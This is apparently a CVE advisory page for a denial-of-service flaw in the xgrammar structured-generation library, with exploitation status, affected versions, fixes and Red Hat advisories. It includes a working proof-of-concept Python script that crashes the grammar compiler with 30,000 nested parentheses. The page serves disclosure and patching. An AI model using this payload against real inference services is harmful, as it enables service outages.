CVE-2026-25048 — xgrammar
CVE-2026-25048 is a CWE-674 vulnerability in xgrammar. A fix is available for xgrammar — see the affected versions and patch details below.
xgrammar: Multi-layer nesting causes DoS
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25048.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
xgrammarReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The multi-level nested syntax caused a segmentation fault (core dump).
Details
A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.
PoC
#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""
import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig
s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"
def main():
device = "cuda" if torch.cuda.is_available() else "cpu"
model_name = "Qwen/Qwen2.5-0.5B-Instruct"
# Load model
model = AutoModelForCausalLM.from_pretrained(
model_name,
torch_dtype=torch.float16 if device == "cuda" else torch.float32,
device_map=device
)
tokenizer = AutoTokenizer.from_pretrained(model_name)
config = AutoConfig.from_pretrained(model_name)
# Math expression grammar
math_grammar = grammar
# Setup
tokenizer_info = xgr.TokenizerInfo.from_huggingface(
tokenizer,
vocab_size=config.vocab_size
)
compiler = xgr.GrammarCompiler(tokenizer_info)
compiled_grammar = compiler.compile_grammar(math_grammar)
# Generate
prompt = "Math: "
inputs = tokenizer(prompt, return_tensors="pt").to(device)
xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
output_ids = model.generate(
**inputs,
max_new_tokens=50,
logits_processor=[xgr_processor]
)
result = tokenizer.decode(
output_ids[0][len(inputs.input_ids[0]):],
skip_special_tokens=True
)
print(f"Generated expression: {result}")
if __name__ == "__main__":
main()
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page:
Author: MLC Team
Author-email:
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by:
> python3 1.py
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)
Impact
DoS
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | xgrammar | all versions | 0.1.32pip install --upgrade 'xgrammar==0.1.32' |
Affected Products
xgrammarmlc-aiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xgrammar, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update xgrammar to 0.1.32 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25048 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for CVE-2026-25048 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-cuda-rhel9:1774351144 | RHSA-2026:5809 |
| Red Hat AI Inference Server 3.2 | rhaiis/model-opt-cuda-rhel9:1774547384 | RHSA-2026:6761 |
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-rocm-rhel9:1775252598 | RHSA-2026:6762 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-vllm-gaudi-rhel9:1780069069 | RHSA-2026:24977 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-vllm-cuda-rhel9:1783998774 | RHSA-2026:42644 |
Frequently Asked Questions
Is CVE-2026-25048 in your dependencies?
Find it across PyPI, including transitive dependencies.